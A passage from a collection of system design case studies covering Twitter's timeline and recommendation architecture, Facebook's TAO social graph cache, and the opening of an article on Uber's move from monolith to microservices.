**The insight**: At a 500:1 read:write ratio, fanout-on-write is overwhelmingly efficient. But it breaks for high-degree nodes (celebrities) because write amplification scales with follower count. The hybrid approach -- fanout-on-write for the majority, fanout-on-read for outliers -- is the pragmatic solution.

**How it applies elsewhere**: Any notification or feed system with skewed degree distribution faces this trade-off. Chat systems (Slack, Discord) use channel-based fanout-on-read because most messages target large groups. Email uses fanout-on-write because most emails target few recipients.

**Warning signs**: If your fanout latency SLA (Service Level Agreement) is regularly violated by a small percentage of writes, you likely need a hybrid approach.

#### 2. The Feature Engineering vs. Model Capacity Trade-off

**The insight**: Twitter spent years building specialized systems -- SimClusters for community detection, GraphJet for collaborative filtering, TwHIN for knowledge graph embeddings, hundreds of aggregate feature groups with carefully tuned time windows. The 2026 system replaced all of this with a single transformer. The bet: a sufficiently large model trained on enough data can learn features that took years of manual engineering.

**How it applies elsewhere**: This mirrors the broader industry trend from hand-crafted features (SVMs, gradient boosting) to end-to-end deep learning. But there is a critical caveat: Twitter could only make this leap after years of building the training data infrastructure, feedback loops, and real-time event systems that feed the transformer.

**Warning signs**: If you are considering replacing a specialized system with a general model, verify that you have the training data volume and the compute budget to match the specialized system's performance. The 2023 system's individual components were each carefully optimized for their domains.

#### 3. Open-Sourcing Reveals Design Intent

**The insight**: The 2023 open-source release revealed that Twitter's algorithm heavily valued conversational engagement (reply engaged by author: +75.0) over passive consumption (like: +0.5). This was a deliberate product decision, not an emergent property. The weights were periodically adjusted to optimize platform-level metrics, making the scoring formula an explicit encoding of product values.

**How it applies elsewhere**: Any recommendation system's scoring weights are product decisions, not just engineering ones. Making them explicit (even internally) helps teams reason about what behaviors they are incentivizing.

### Process Lessons

#### 1. Infrastructure as Competitive Moat

Twitter's timeline evolved not because the algorithms changed, but because the infrastructure enabled new approaches. Redis fanout was only possible because of FlockDB's social graph queries and Snowflake's ID generation. Algorithmic ranking was only possible because of EarlyBird's real-time indexing and Heron's stream processing. ML ranking was only possible because of Manhattan's storage, Kafka's event streaming, and Navi's model serving.

**What they would do differently**: The 80% workforce reduction in 2022-2023 stressed every one of these systems. Twitter's engineering blog documented how caching layers (built on the Aurora framework running on Apache Mesos) proved critical to keeping the platform running with a skeleton crew.

### Organizational Lessons

#### 1. The Cost of Microservice Sprawl

Post-acquisition, Elon Musk claimed that less than 20% of Twitter's microservices were necessary for the platform to function. Whether this specific number is accurate, the consolidation effort demonstrated that Twitter's services-oriented architecture (SOA) had accumulated significant coordination overhead. The migration from monolith to SOA in 2009-2013 solved the scaling crisis but created a maintainability crisis that only became apparent when staffing was drastically reduced.

## Applying This to Your System

### When These Patterns Apply

You might face similar challenges if:

- Your system delivers personalized content feeds to millions of users.
- You have a high read:write ratio (100:1 or higher) for feed-type data.
- You are considering moving from chronological to ranked content delivery.
- You have skewed degree distribution in your social graph (a few producers creating content consumed by many).

### Checklist for Evaluation

- Are your timeline reads significantly more expensive than writes? Consider fanout-on-write.
- Do you have high-degree nodes that break your fanout SLA? Consider a hybrid approach.
- Are users missing content they would engage with? Consider algorithmic ranking.
- Are you maintaining more than 5 specialized recommendation services? Consider whether a unified model could replace them.
- Can you measure the product impact of your ranking weights? Make them explicit.

### Starting Points

1. **If building a new feed**: Start with fanout-on-write in Redis/Valkey. It is simpler than it sounds and handles most scales. Only add ranking when chronological delivery measurably hurts engagement.
2. **If adding recommendations**: Start with collaborative filtering (GraphJet-style random walks on a bipartite interaction graph). It requires no ML training infrastructure and produces strong out-of-network recommendations.
3. **If optimizing an existing recommendation system**: Audit your scoring weights. Map them to product values explicitly. A single weight change (like increasing the reply-engaged-by-author weight from 1.0 to 75.0) can shift platform behavior more than a model architecture change.

## Conclusion

Twitter's timeline architecture is a 17-year case study in the tension between simplicity and relevance. Fanout-on-write was elegant and fast but could not rank. The ML pipeline maximized recommendation quality but required dozens of specialized services, each with its own data pipeline, training loop, and operational burden. The Grok-based system bets that a sufficiently large transformer can subsume all of this complexity -- a bet that mirrors the broader industry shift from feature engineering to model scaling.

The open-sourced codebases (`twitter/the-algorithm`, `twitter/the-algorithm-ml`, `xai-org/x-algorithm`) provide rare windows into production recommendation systems at billion-user scale. The scoring weights, feature definitions, and pipeline structures are concrete artifacts that engineering teams can study and adapt.

## Appendix

### Prerequisites

- Familiarity with distributed systems concepts (replication, sharding, consistency models)
- Understanding of ML fundamentals (embedding spaces, neural networks, loss functions)
- Knowledge of feed/timeline system design patterns

### Terminology

- **Fanout-on-write**: Pre-computing and storing results at write time so reads are simple lookups.
- **Fanout-on-read**: Computing results at read time by querying and aggregating data from multiple sources.
- **In-network**: Content from accounts the user follows.
- **Out-of-network**: Content from accounts the user does not follow, surfaced via recommendation.
- **Heavy Ranker**: The computationally expensive ML model that produces final ranking scores (vs. the lightweight "Light Ranker" used for initial filtering).
- **MaskNet**: A neural network architecture using instance-guided masks for feature interaction learning.
- **SimClusters**: Twitter's sparse embedding system mapping entities into ~145K community dimensions.
- **TwHIN**: Twitter Heterogeneous Information Network -- dense embedding system for multi-entity, multi-relation graphs.
- **GraphJet**: In-memory bipartite graph engine using SALSA random walks for collaborative filtering.
- **EarlyBird**: Twitter's real-time search system built on modified Apache Lucene.
- **SALSA**: Stochastic Approach for Link-Structure Analysis -- a random walk algorithm for bipartite graphs.
- **SOA**: Services-Oriented Architecture -- decomposing a monolith into independent services.

### Summary

- Twitter's timeline evolved through three eras: fanout-on-write (optimize reads), multi-service ML pipeline (optimize relevance via specialized components), and Grok-based transformer (optimize with model capacity).
- The fanout-on-write system served 300K QPS with sub-millisecond reads by pre-materializing timelines in Redis, using a hybrid approach for celebrities with millions of followers.
- The 2023 open-sourced pipeline sourced ~1,500 candidates 50/50 in-network/out-of-network, scored them with a 48M-parameter MaskNet across 10 engagement dimensions, with explicit weights revealing product priorities (author-engaged replies valued 150x likes).
- The 2026 Grok-based system (Phoenix/Thunder) replaced all hand-engineered features and specialized embedding systems with a single transformer, predicting 15 engagement signals.
- Key design lesson: recommendation scoring weights are product decisions, not just engineering ones. Making them explicit enables principled optimization.

### References

- [Earlybird: Real-Time Search at Twitter](https://ieeexplore.ieee.org/document/6228205) - ICDE 2012, Busch et al.
- [WTF: The Who to Follow Service at Twitter](https://dl.acm.org/doi/10.1145/2488388.2488433) - WWW 2013, Gupta et al.
- [The Who-To-Follow System at Twitter: Strategy, Algorithms, and Revenue Impact](https://pubsonline.informs.org/doi/10.1287/inte.2014.0784) - INFORMS Interfaces, Vol. 45, 2015, Goel et al.
- [GraphJet: Real-Time Content Recommendations at Twitter](https://www.vldb.org/pvldb/vol9/p1281-sharma.pdf) - VLDB 2016, Sharma et al.
- [SimClusters: Community-Based Representations for Heterogeneous Recommendations at Twitter](https://dl.acm.org/doi/10.1145/3394486.3403370) - KDD 2020, Satuluri et al.
- [TwHIN: Embedding the Twitter Heterogeneous Information Network for Personalized Recommendation](https://arxiv.org/abs/2202.05387) - KDD 2022, El-Kishky et al.
- [Twitter Heron: Stream Processing at Scale](https://dl.acm.org/doi/10.1145/2723372.2742788) - SIGMOD 2015, Kulkarni et al.
- [A Large-Scale Analysis of Hundreds of In-Memory Cache Clusters at Twitter](https://www.usenix.org/conference/osdi20/presentation/yang) - USENIX OSDI 2020, Yang et al.
- [MaskNet: Introducing Feature-Wise Multiplication to CTR Ranking Models](https://arxiv.org/abs/2102.07619) - Wang et al., 2021
- [Timelines at Scale - Raffi Krikorian, QCon 2013](https://www.infoq.com/presentations/Twitter-Timeline-Scalability/) - InfoQ Presentation
- [Real-Time Delivery Architecture at Twitter - Raffi Krikorian, QCon 2012](https://www.infoq.com/presentations/Real-Time-Delivery-Twitter/) - InfoQ Presentation
- [Twitter's Recommendation Algorithm - X Engineering Blog](https://blog.x.com/engineering/en_us/topics/open-source/2023/twitter-recommendation-algorithm) - March 2023
- [Manhattan: Our Real-Time Multi-Tenant Distributed Database for Twitter Scale](https://blog.x.com/engineering/en_us/a/2014/manhattan-our-real-time-multi-tenant-distributed-database-for-twitter-scale) - X Engineering Blog, 2014
- [Reducing Search Indexing Latency to One Second](https://blog.x.com/engineering/en_us/topics/infrastructure/2020/reducing-search-indexing-latency-to-one-second) - X Engineering Blog, 2020
- [The Infrastructure Behind Twitter: Scale](https://blog.x.com/engineering/en_us/topics/infrastructure/2017/the-infrastructure-behind-twitter-scale) - X Engineering Blog, 2017
- [twitter/the-algorithm - GitHub](https://github.com/twitter/the-algorithm) - Open-sourced recommendation algorithm (2023)
- [twitter/the-algorithm-ml - GitHub](https://github.com/twitter/the-algorithm-ml) - ML model training code (2023)
- [xai-org/x-algorithm - GitHub](https://github.com/xai-org/x-algorithm) - Grok-based recommendation algorithm (2026)

---

## Facebook TAO: The Social Graph’s Distributed Cache

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/real-world-case-studies/facebook-tao-social-graph
**Category:** System Design / Real-World Case Studies
**Description:** Facebook’s social graph presents a unique data access problem: billions of users generating trillions of edges (friendships, likes, comments) that must be readable at sub-millisecond latencies and writable at millions of operations per second. TAO (The Associations and Objects) replaced the generic memcache+MySQL architecture with a graph-aware caching system that handles over 1 billion reads per second at 96.4% cache hit rate. This case study examines why generic key-value caches failed for graph data, how TAO’s two-tier write-through architecture solves thundering herd and consistency problems, and what design patterns emerge for caching highly connected data.

# Facebook TAO: The Social Graph's Distributed Cache

Facebook's social graph presents a unique data access problem: billions of users generating trillions of edges (friendships, likes, comments) that must be readable at sub-millisecond latencies and writable at millions of operations per second. TAO (The Associations and Objects) replaced the generic memcache+MySQL architecture with a graph-aware caching system that handles over 1 billion reads per second at 96.4% cache hit rate. This case study examines why generic key-value caches failed for graph data, how TAO's two-tier write-through architecture solves thundering herd and consistency problems, and what design patterns emerge for caching highly connected data.

<figure>

![TAO's two-tier caching architecture: followers handle reads locally, leaders coordinate writes and protect MySQL from thundering herds. Cross-region replication enables geographic distribution.](./tao-s-two-tier-caching-architecture-followers-handle-reads-locally-leaders-coord.svg)

<figcaption>TAO's two-tier caching architecture: followers handle reads locally, leaders coordinate writes and protect MySQL from thundering herds. Cross-region replication enables geographic distribution.</figcaption>
</figure>

## Abstract

TAO solves the fundamental mismatch between generic key-value caches and graph data structures:

- **The problem**: Memcache treats association lists as opaque blobs. Appending one edge to a user's friend list requires fetching the entire list, modifying it client-side, and writing back—cache-unfriendly and prone to lost updates under concurrent writes.

- **The insight**: A cache that understands graph semantics can invalidate and refill association lists incrementally, coordinate writes to prevent thundering herds, and provide read-after-write consistency by construction.

- **The architecture**: Two-tier caching (followers for reads, leaders for writes) with write-through to MySQL. Leaders serialize concurrent writes to the same object, preventing cache stampedes and ensuring ordering. Followers receive asynchronous invalidations, achieving eventual consistency with sub-second lag.

- **The trade-off**: TAO chooses availability over consistency (AP in CAP terms). Reads are eventually consistent but locally fast. Strong consistency is available via explicit "critical read" API calls that route to the master region at higher latency cost.

- **The scale**: 1+ billion reads/second, millions of writes/second, 96.4% cache hit rate, petabytes of graph data across hundreds of thousands of shards.

## Context

### The System

Facebook's social graph is the data structure underlying the entire platform—every user, post, photo, comment, friendship, like, and share is a node or edge in this graph.

| Metric                | Value (2013)         | Value (2022+)    |
| --------------------- | -------------------- | ---------------- |
| Read requests/second  | Hundreds of millions | 1+ billion       |
| Write requests/second | Millions             | Tens of millions |
| Read:write ratio      | ~500:1               | ~500:1           |
| Cache hit rate        | 96.4%                | 96%+             |
| Machines              | Thousands            | Thousands        |
| Data types            | Hundreds             | Hundreds         |

**Tech stack**:

- **Cache**: Custom C++ caching servers (TAO)
- **Storage**: MySQL (sharded, single-primary replication)
- **Coordination**: Custom protocol for invalidation propagation

### The Data Model

TAO's data model is simple but powerful:

**Objects**: Typed nodes with a globally unique 64-bit ID containing:

- Type (e.g., user, post, comment)
- Key-value metadata pairs
- Single shard assignment (derived from ID)

**Associations**: Directed, typed edges between objects containing:

- Source ID (id1)
- Association type (atype)
- Destination ID (id2)
- 32-bit timestamp (for time-ordered retrieval)
- Key-value metadata pairs

```
# Example: User 123 likes Post 456 at time T
Association(id1=123, atype=LIKES, id2=456, time=T, data={...})

# Inverse association automatically created
Association(id1=456, atype=LIKED_BY, id2=123, time=T, data={...})
```

**Why bidirectional edges matter**: Querying "who likes this post?" requires an inverse association. TAO maintains these automatically, ensuring referential integrity without application logic.

### The Trigger: Why Memcache Failed

Before TAO, Facebook used memcache as a look-aside cache in front of MySQL. This worked for simple key-value data but created three problems for graph data:

**Problem 1: Inefficient edge list updates**

Adding one edge to a user's friend list required:

1. Fetch entire friend list from cache
2. Deserialize list
3. Append new friend
4. Serialize and write back entire list

With celebrities having millions of followers, this meant megabytes of data movement for a single edge addition. Worse, concurrent additions caused lost updates—two clients reading, modifying, and writing back would lose one update.

**Problem 2: Thundering herd on cache misses**

When a popular item's cache entry expired or was evicted, hundreds of concurrent requests would simultaneously query MySQL. The database couldn't handle the spike, causing cascading timeouts.

**Problem 3: No coordination point for consistency**

Memcache is stateless. Clients coordinate directly with both cache and database. This made read-after-write consistency expensive—clients had to either always read from MySQL (defeating the cache) or accept stale reads.

### Constraints

| Constraint   | Requirement                                       |
| ------------ | ------------------------------------------------- |
| Latency      | P50 < 1ms for cache hits                          |
| Availability | 99.99%+ uptime, geo-distributed                   |
| Consistency  | Read-after-write within a tier; eventual globally |
| Durability   | All writes persisted to MySQL                     |
| Scale        | Handle 10x growth without architecture change     |

## The Design

### Why a Custom Solution

Facebook evaluated alternatives:

| Option                            | Why Not Chosen                                                      |
| --------------------------------- | ------------------------------------------------------------------- |
| **Memcache (existing)**           | Couldn't handle graph semantics, thundering herd, or consistency    |
| **Graph databases (Neo4j, etc.)** | Didn't exist at required scale; lacked operational maturity         |
| **Distributed key-value stores**  | Same problems as memcache—no graph awareness                        |
| **Build on existing storage**     | MySQL already worked; needed caching layer, not storage replacement |

**Decision**: Build a graph-aware caching layer that sits between clients and MySQL. Keep MySQL as the durable store—it provides atomic transactions, efficient granular writes, and operational maturity for backups/migrations.

### Two-Tier Architecture

TAO splits caching into two functionally distinct tiers:

#### Follower Tier (Read-Optimized)

- **Handles**: All read requests from clients
- **Caches**: Objects and association lists
- **On miss**: Forwards to leader tier
- **On write**: Forwards to leader tier
- **Receives**: Asynchronous invalidation messages from leader

Followers are optimized for read throughput. Multiple follower tiers per region enable horizontal scaling. Each follower serves a subset of clients via consistent hashing.

#### Leader Tier (Write-Optimized)

- **Handles**: All write requests (forwarded from followers)
- **Handles**: Read misses from followers
- **Writes**: Synchronously to MySQL (write-through)
- **Sends**: Invalidation messages to followers
- **Serializes**: Concurrent writes to the same object

Leaders are the coordination point. One leader tier per region. All writes flow through leaders, enabling:

1. **Thundering herd protection**: Leader serializes database writes
2. **Write ordering**: Leader applies writes in order received
3. **Consistency**: Leader updates its cache before responding, enabling read-after-write

![Diagram](./diagram-1.svg)

### Write-Through vs Write-Back

TAO uses **write-through caching**: every write goes to MySQL before being acknowledged.

| Approach          | Pros                                                                | Cons                                                          |
| ----------------- | ------------------------------------------------------------------- | ------------------------------------------------------------- |
| **Write-through** | Simple durability, write ordering preserved, crash recovery trivial | Higher write latency (MySQL roundtrip)                        |
| **Write-back**    | Lower write latency                                                 | Complex durability, ordering issues, crash recovery needs WAL |

**Why write-through was chosen**:

- MySQL write latency is acceptable (few milliseconds)
- Simplifies consistency reasoning—if MySQL has it, cache can serve it
- Crash recovery is trivial—rebuild cache from MySQL
- Write ordering is automatic—no need for conflict resolution

### Sharding and Routing

**Shard assignment**: Object IDs embed shard information. Given an object ID, TAO can determine its shard without a lookup.

**Association storage**: Associations are stored on the shard of their source object (id1). This means querying "all friends of user X" requires only one shard—the shard containing user X.

**Shard distribution**: Consistent hashing distributes shards across servers. Each TAO server handles many shards.

```
Object ID: [shard_id:16 bits][type:16 bits][sequence:32 bits]
                    ↓
        Route to shard_id's server
```

**Hot shard mitigation**:

- **Shard cloning**: Popular shards cached across multiple followers
- **Shard migration**: Move shards between servers to balance load
- **Query reversal**: For edges with high out-degree (celebrity followers), query from destination instead of source

### Consistency Model

TAO provides **eventual consistency** with specific guarantees:

**Guarantee 1: Read-after-write within a tier**

If client A writes and then reads through the same follower, the read reflects the write. The follower that forwarded the write receives the updated value in the response and caches it.

**Guarantee 2: Eventual consistency across tiers**

Writes propagate to other followers via asynchronous invalidation messages. Typical lag: sub-second. During this window, readers on other followers see stale data.

**Guarantee 3: No lost updates (per shard)**

Leaders serialize writes to the same shard. Concurrent writes are applied in arrival order, not lost.

**Strong consistency option**:

For critical operations (e.g., privacy checks), TAO provides a "critical read" API that routes to the master region's leader, bypassing local caches. Higher latency (~100ms cross-region) but guaranteed fresh.

### Cache Invalidation

TAO uses a hybrid invalidation strategy:

**For objects**: Invalidation messages. When an object is updated, the leader sends an invalidation message to all followers. Followers either delete their cached copy or update it if the message includes the new value.

**For associations**: Refill messages. Association lists are complex (ordered, potentially large). Instead of sending the full updated list, the leader sends a refill message. Followers query the leader to get the updated portion of the list.

**Version numbers**: Every cache entry has a version number. Invalidation messages include the version being invalidated. If a follower has a newer version (due to out-of-order message delivery), it ignores the invalidation.

![Diagram](./diagram-2.svg)

## Implementation Details

### Memory Management

TAO servers handle diverse data: small objects (few bytes) and large association lists (megabytes for celebrity friend lists). Different eviction strategies are needed.

**Arena-partitioned memory**: Memory is partitioned by association type. Each arena has its own LRU eviction. This prevents large association lists from evicting many small objects.

**Fixed-size item optimization**: Objects and small associations use direct-associative caches (like CPU caches) instead of hash tables, reducing memory overhead.

### Request Processing

**Read path latency breakdown** (typical cache hit):
| Stage | Time |
|-------|------|
| Network to follower | ~0.1ms |
| Hash lookup | ~0.01ms |
| Serialization | ~0.1ms |
| Network to client | ~0.1ms |
| **Total** | **~0.5ms** |

**Write path latency breakdown**:
| Stage | Time |
|-------|------|
| Network to follower | ~0.1ms |
| Forward to leader | ~0.2ms |
| MySQL write | ~2-5ms |
| ACK to follower | ~0.2ms |
| ACK to client | ~0.1ms |
| **Total** | **~3-6ms** |

### Failure Handling

**Follower failure**: Clients retry on a different follower. No data loss—followers are stateless caches.

**Leader failure**: In-flight writes may fail. Clients retry. MySQL state is consistent. New leader rebuilds cache from MySQL on demand.

**MySQL failure**: Writes fail until failover completes. Reads continue from cache. TAO degrades gracefully—stale reads are better than no reads for most social graph queries.

**Network partition**: Followers continue serving cached reads. Writes queue or fail depending on partition location. When partition heals, invalidations catch up.

### Geographic Distribution

TAO is deployed across multiple regions:

**Master region**: One region holds the MySQL primary. All writes for a shard go to this region.

**Replica regions**: Other regions have MySQL replicas and full TAO stacks (followers + leaders). Reads are served locally. Writes are forwarded to the master region.

**Replication lag**: MySQL replication to replicas is asynchronous. TAO invalidations can arrive before MySQL replication completes. Followers in replica regions may briefly see invalidations for data not yet in their local MySQL.

**Solution**: Followers query the master region's leader (not local MySQL) on cache miss during the replication window.

## Outcome

### Performance Metrics

| Metric             | Before TAO               | After TAO           |
| ------------------ | ------------------------ | ------------------- |
| Read latency (P50) | ~5ms (cache hit)         | ~1ms                |
| Read latency (P99) | ~100ms+                  | ~10ms               |
| Cache hit rate     | ~90%                     | 96.4%               |
| Database load      | High (thundering herd)   | Protected by leader |
| Lost updates       | Common under concurrency | Eliminated          |

### Scale Achieved

- **1+ billion reads/second** across the TAO fleet
- **Millions of writes/second** with sub-10ms latency
- **99.9%+ of reads** complete in a single round-trip to local cache
- **Hundreds of data types** supported with the same infrastructure

### Consistency Improvements (2022)

Meta improved TAO's cache consistency from 99.9999% (6 nines) to 99.99999999% (10 nines):

**Polaris Service**: Monitors consistency invariants without logging all operations. Samples reads and compares with source of truth.

**Consistency Tracing Library**: During detected inconsistency windows, enables detailed logging to diagnose race conditions.

**Result**: Bug diagnosis time reduced from weeks to minutes.

## Evolution

### 2013: Original TAO

- Two-tier architecture with write-through caching
- Eventual consistency model
- MySQL as durable storage
- Published at USENIX ATC 2013

### 2021: RAMP-TAO

**Problem**: TAO provides per-shard atomicity but not cross-shard transactions. Some operations need multi-object atomicity (e.g., transferring ownership).

**Solution**: RAMP-TAO layers Read Atomic Multi-Partition (RAMP) transactions on top of TAO.

**Key insight**: Most TAO operations don't need transactions. RAMP-TAO adds transactional capability without slowing down non-transactional operations.

| Metric                    | Impact               |
| ------------------------- | -------------------- |
| Memory overhead           | +0.42% in production |
| Non-transactional latency | Unchanged            |
| Transactional operations  | ACID guarantees      |

### 2022: TAOBench

Meta open-sourced TAOBench, a benchmark capturing real TAO workloads:

**Workload characteristics revealed**:

- 99%+ of operations are reads
- Writes target heavily modified items that are rarely read
- Temporal locality is strong—recent items are hot
- Zipfian distribution for object popularity

**Evaluated systems**: Cloud Spanner, CockroachDB, PlanetScale, TiDB, YugabyteDB. None matched TAO's performance at TAO's scale, validating the custom solution decision.

## Lessons Learned

### Technical Lessons

#### 1. Graph-Aware Caching Beats Generic Caching

**The insight**: Memcache treats all data as opaque blobs. TAO understands that association lists can be incrementally updated, that inverse edges must be maintained, and that graph queries have locality properties.

**How it applies elsewhere**:

- Document databases with indexes: cache the index structure, not just documents
- Time-series data: cache recent data differently than historical data
- Tree structures: cache parent-child relationships, not serialized trees

**Warning signs**:

- Serializing/deserializing large structures on every cache update
- Lost updates under concurrent modifications
- Cache hit rates that don't improve with more memory

#### 2. Separate Read and Write Paths

**The insight**: Reads and writes have different requirements. Reads need low latency and high throughput. Writes need ordering, durability, and coordination. Serving both from the same tier forces compromises.

**How it applies elsewhere**:

- CQRS (Command Query Responsibility Segregation) pattern
- Read replicas in databases
- Event sourcing with separate read models

**Warning signs**:

- Read latency spiking during write bursts
- Writes queueing behind reads
- Difficulty scaling reads independently of writes

#### 3. Write-Through Simplifies Consistency

**The insight**: Write-back caching offers lower latency but introduces durability and ordering complexity. Write-through trades latency for simplicity—if the database has it, the cache can serve it.

**How it applies elsewhere**:

- Browser caches with ETags
- CDN configurations
- Any system where durability matters more than write latency

**Warning signs**:

- Complex cache invalidation logic
- Data loss on cache server crashes
- Write ordering bugs under concurrency

#### 4. Leader-Based Coordination Prevents Thundering Herd

**The insight**: Without a coordination point, N clients with a cache miss simultaneously query the database. A leader serializes these requests—one query to the database, N responses from cache.

**How it applies elsewhere**:

- Request coalescing in CDNs
- Single-flight patterns in Go
- Distributed locks for expensive computations

**Warning signs**:

- Database CPU spikes on cache expirations
- Timeout cascades after cache flushes
- P99 latency much worse than P50

#### 5. Eventual Consistency Is Often Sufficient

**The insight**: Strong consistency is expensive—it requires synchronous coordination across regions. For social graph reads, sub-second staleness is acceptable. Strong consistency is available when needed via explicit API calls.

**How it applies elsewhere**:

- User session data (eventual consistency within region)
- Analytics dashboards (eventual consistency acceptable)
- Privacy checks (strong consistency required)

**Warning signs**:

- All reads going to a single primary
- Cross-region latency on every read
- Over-engineering consistency where staleness is acceptable

### Process Lessons

#### 1. Keep Durable Storage Simple

**The insight**: Facebook kept MySQL as the durable store. TAO is "just" a caching layer. This preserved MySQL's operational maturity—backups, point-in-time recovery, migrations work unchanged.

**What they'd do differently**: The team has noted that TAO's MySQL dependency creates operational coupling. Future iterations might explore different storage backends for specific use cases.

#### 2. Instrument Consistency

**The insight**: "Eventual consistency" means nothing without measurement. Meta's Polaris service monitors actual consistency—what percentage of reads return stale data, and for how long.

**Application**: If you claim eventual consistency, measure it. Define SLOs (Service Level Objectives) for staleness: "99.99% of reads return data <1 second stale."

## Applying This to Your System

### When This Pattern Applies

TAO's architecture fits systems with:

- **Graph-like data**: Entities with typed relationships
- **Read-heavy workloads**: 100:1 or higher read:write ratio
- **Low-latency requirements**: Sub-millisecond reads
- **Eventual consistency tolerance**: Brief staleness acceptable for most operations

### Checklist for Evaluation

- [ ] Is your data naturally a graph (entities + relationships)?
- [ ] Do you have a read:write ratio >50:1?
- [ ] Can your application tolerate sub-second staleness for most reads?
- [ ] Do you have thundering herd problems on cache misses?
- [ ] Are you serializing/deserializing large structures on cache updates?

### Starting Points

If you want to apply TAO's patterns:

1. **Measure cache efficiency**: What percentage of cache updates are full object replacements vs incremental?
2. **Identify coordination needs**: Which writes need ordering guarantees? Can a leader tier provide this?
3. **Audit consistency requirements**: Which reads truly need strong consistency? Route only those to primary.
4. **Prototype leader-follower**: Start with request coalescing on cache misses before full architecture change.

## Conclusion

TAO demonstrates that domain-specific caching can dramatically outperform generic solutions. By understanding that social graph data has structure (objects and associations), locality (friends of friends), and access patterns (read-heavy, write-once-read-many), Facebook built a cache that achieves 96% hit rates at billion-request-per-second scale.

The key design decisions—two-tier architecture, write-through caching, leader-based coordination, eventual consistency with strong consistency escape hatch—aren't novel individually. TAO's contribution is showing how they compose for graph data at scale.

For engineers building systems with similar characteristics (graph structure, read-heavy, latency-sensitive), TAO's patterns offer a proven blueprint. The lesson isn't to copy TAO but to understand why these patterns work: graph-aware caching enables incremental updates, leader tiers prevent thundering herds, and write-through simplifies consistency reasoning.

## Appendix

### Prerequisites

- Understanding of caching concepts (cache miss, eviction, invalidation)
- Familiarity with sharding and consistent hashing
- Basic knowledge of CAP theorem and consistency models
- Understanding of MySQL replication

### Terminology

- **TAO**: The Associations and Objects—Facebook's distributed social graph cache
- **Object**: A typed node in the graph (user, post, comment)
- **Association**: A directed, typed edge between objects (friendship, like)
- **Follower tier**: Read-optimized cache layer serving client requests
- **Leader tier**: Write-optimized cache layer coordinating database writes
- **Write-through**: Caching strategy where writes go to backing store before being cached
- **Thundering herd**: Pattern where many clients simultaneously request the same uncached data

### Summary

- Facebook's social graph required a cache that understands graph semantics, not generic key-value storage
- TAO uses two-tier caching: followers for reads, leaders for writes and coordination
- Write-through to MySQL ensures durability and simplifies consistency
- Leaders prevent thundering herd by serializing database access
- Eventual consistency with sub-second lag; strong consistency available via explicit API
- 1+ billion reads/second at 96.4% cache hit rate
- Key patterns: graph-aware caching, read/write path separation, leader coordination, write-through simplicity

### References

- [TAO: Facebook's Distributed Data Store for the Social Graph](https://www.usenix.org/system/files/conference/atc13/atc13-bronson.pdf) - Original USENIX ATC 2013 paper by Bronson et al.
- [TAO: The power of the graph](https://engineering.fb.com/2013/06/25/core-infra/tao-the-power-of-the-graph/) - Meta Engineering blog post (2013)
- [RAMP-TAO: Layering Atomic Transactions on Facebook's Online TAO Data Store](https://www.vldb.org/pvldb/vol14/p3014-cheng.pdf) - VLDB 2021 paper on transactional extensions
- [Open-sourcing TAOBench](https://engineering.fb.com/2022/09/07/core-infra/taobench/) - Meta Engineering blog on benchmark release (2022)
- [Cache made consistent](https://engineering.fb.com/2022/06/08/core-infra/cache-made-consistent/) - Meta Engineering blog on consistency improvements (2022)
- [USENIX ATC 2013 Presentation](https://www.usenix.org/conference/atc13/technical-sessions/presentation/bronson) - Conference talk with slides and video
- [TAOBench: An End-to-End Benchmark for Social Network Workloads](https://www.vldb.org/pvldb/vol15/p1965-cheng.pdf) - VLDB 2022 paper on benchmark methodology

---

## Uber: From Monolith to Domain-Oriented Microservices

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/real-world-case-studies/uber-microservices-journey
**Category:** System Design / Real-World Case Studies
**Description:** How Uber evolved from two monolithic services to 4,000+ microservices and then restructured into domain-oriented architecture, demonstrating that the hardest part of microservices is not splitting the monolith but managing what comes after. Each architectural phase solved real scaling bottlenecks while creating new organizational and operational challenges at the next order of magnitude.

# Uber: From Monolith to Domain-Oriented Microservices

How Uber evolved from two monolithic services to 4,000+ microservices and then restructured into domain-oriented architecture, demonstrating that the hardest part of microservices is not splitting the monolith but managing what comes after. Each architectural phase solved real scaling bottlenecks while creating new organizational and operational challenges at the next order of magnitude.

<figure>

![Uber's three architectural phases. Each transition was triggered by the previous architecture hitting its operational limits at the next order of magnitude.](./uber-s-three-architectural-phases-each-transition-was-triggered-by-the-previous-.svg)

<figcaption>Uber's three architectural phases. Each transition was triggered by the previous architecture hitting its operational limits at the next order of magnitude.</figcaption>
</figure>

## Abstract

Uber's architecture evolution follows a pattern common to hypergrowth companies: the monolith works until organizational scaling demands decomposition, the resulting microservices work until their sheer number creates a new class of problems, and the response is not to go back but to add structure on top.

The core mental model has three phases:

- **Monolith (2009-2013)**: Two services (Python API + Node.js Dispatch) sharing a single PostgreSQL instance. Worked for one city and one product. Failed when concurrent engineers and concurrent cities made single-deployment and single-database models untenable.
- **Microservices explosion (2013-2018)**: Aggressive decomposition drove service count from 1 to 4,000+ in five years. Enabled 10x engineering growth (200 to 2,000 engineers in 18 months) but produced a "death star" dependency graph, cascading failures across deep call chains, and cognitive overload from thousands of independently structured services.
- **DOMA (2018-2020)**: Domain-Oriented Microservice Architecture grouped 2,200 critical services into 70 domains with gateway interfaces, five dependency layers, and an extension model. Did not reduce service count but imposed structure that cut onboarding time by 25-50% and platform support costs by an order of magnitude.

The key insight: microservices are an organizational scaling tool, not primarily a technical one. Uber's Chief Systems Architect Matt Ranney stated it directly -- "Scaling the traffic is not the issue. Scaling the team and the product feature release rate is the primary driver."

## Context

### The System

Uber's platform connects riders with drivers in real time across a global marketplace. The core technical challenge is a two-sided matching problem with hard latency constraints: ETA (Estimated Time of Arrival) calculations must return in under 5 milliseconds, dispatch decisions happen in real time, and supply/demand dynamics shift continuously across thousands of cities.

### Scale at Key Inflection Points

| Metric | 2013 (End of Monolith) | 2016 (Peak Microservices) | 2020 (DOMA) |
|--------|----------------------|--------------------------|-------------|
| Cities | 65 | 400 (70 countries) | 10,000+ |
| Engineers | ~100 | ~2,000 | ~4,000 |
| Microservices | 2 (monoliths) | ~1,000 | 2,200 critical / 4,000+ total |
| Git repositories | ~10 | 8,000+ | 12,000+ |
| Deployments/week | Single deploy | Hundreds | 100,000+ |
| Trips milestone | — | 2 billionth (Oct 2016) | 10 billionth (Sep 2018) |

### The Trigger

Uber's architecture did not evolve on a planned schedule. Each phase transition was forced by a specific scaling crisis:

